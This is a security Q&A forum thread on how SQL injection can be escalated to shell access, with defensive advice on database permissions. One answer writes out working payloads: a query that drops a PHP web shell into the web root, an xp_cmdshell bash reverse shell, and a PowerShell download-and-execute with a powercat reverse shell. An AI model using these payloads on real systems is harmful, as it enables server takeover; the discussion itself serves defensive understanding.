As I understand it, SQL injection should only allow for the manipulation and retrievial of data, nothing more. Assuming no passwords are obtained, how can a simple SQL injection be used to leverage a shell?

I have seen attacks where this has been claimed to be possible, and if it is I would like to be able to protect against it.


Many common SQL servers support functions such as xp_cmdshell that allow the execution of arbitrary commands. They are not in the SQL standard so every database software has different names for it.

Furthermore there is SELECT ... INTO OUTFILE, that can be used to write arbitrary files with the permissions of the database user. It may be possible to overwrite shell scripts that are invoked by cron or on startup. If the database server process is running on the same server as a web application (e. g. a single rented server), it may be possible to write .php files that can then be invoked by visiting the appropriate url in the browser.

The third way to cause damage is to define and execute stored procedures in the database. Or redefine existing stored procedures, for example a function that verifies passwords.

There are likely more ways.

The application database user should neither have permissions to execute the shell functions nor use INTO OUTFILE nor to define stored procedures.

  • 2
    Well, that said everything I had in mind. – Jeff Ferland Sep 7 '11 at 20:22
  • +1 for explanation. I'd like to add that in addition to removing permissions to use the shell, just turn off shell support if possible. – Steve Sep 7 '11 at 22:10

There are several ways to get shell. Here is some of them. The link in the bottom should lead you to some excellent cheat sheets for many kinds of databases like MSSQL, Oracle, MySQL and more.

A good tip for getting shell is having this reverse shell cheat sheet in your back pocket.


If you know where to put the shell on the server (somewhere accessible) you can use the following query (mysql) to create for example a php shell on the webserver:

SELECT '<?php exec($_GET[''cmd'']); ?>' FROM mytable INTO dumpfile ‘/var/www/html/shell.php’

Finding where you should put the shell

You need to know where the domain dir is. Learning where the database is running can be helpfull thus an injection query (mysql) like this would maybe tell you about the directory architecture:

SELECT @@datadir;

You may also be lucky if you try force any error messages from the system to make it tell you where the it is running. Typically this approach is the easiest as many error messages are very

Using built in DB functions (xp_cmdshell)

MSSQL has a relative easy way of calling OS functions by using the built in function xp_cmdshell. It is not as easy in MySQL (usually requires outfile or stored procedure). Oracle is farily easy aswell as it allows Java code to be executed.

EXEC xp_cmdshell 'bash -i >& /dev/tcp/ 0>&1'

The statement above creates an interactive (-i) shell listening at port 8080.

Edit: Of course MSSQL with Bash is really unlikely. Didn't think of that before I saw the comment. Instead of the bash, one can do a reverse Powershell script instead, such as this:

EXEC xp_cmdshell 'powershell -NoP -NonI -Exec Bypass IEX (New-Object Net.WebClient).DownloadString("");powercat -c -p 443 -e cmd' 

Powercat can be downloaded from here: https://github.com/besimorhino/powercat

Shell via stored procedures

If you can concatenate queries in an injection point you can most likely create procedures in the database. These procedures work as functions which you then can call with quries.

See Shell commands from PL SQL for more details on this.


Good source for injection: pentest monkey

  • 4
    I'm fairly sure xp_cmdshell is an MSSQL thing whereas bash is commonly a Linux thing so that command requires a really messed up setup to actually work... – Wolfer May 1 '14 at 10:27
  • 1
    Thanks @Wolfer, I didn't realize until now, 3 years later lol #lazy – Chris Dale Feb 11 '17 at 18:44

With an Oracle database, you can actually compile and execute Java code from an SQL query. I've seen attackers implement a basic shell wrapper in Java for Oracle, and run and compile it from SQL injection. Pretty nifty.


It depends entirely on the application in question. As to how to protect yourself, not to be trite, but plug the SQL injection holes. It's also wise to isolate public-facing stuff as much as possible, so if you are owned, the attacker can't do much. How practical this is is, again, dependent on your architecture and the app in question.

  • 1
    Obviously plugging the SQL injection holes is ideal, but defense in depth never hurts. – Sonny Ordell Sep 7 '11 at 20:21
  • It does mostly depend on the DB and the rights the DB user runs with, not so much on the application in question. – kaidentity Mar 7 '17 at 7:14

Your Answer

By clicking "Post Your Answer", you acknowledge that you have read our updated terms of service, privacy policy and cookie policy, and that your continued use of the website is subject to these policies.

Not the answer you're looking for? Browse other questions tagged or ask your own question.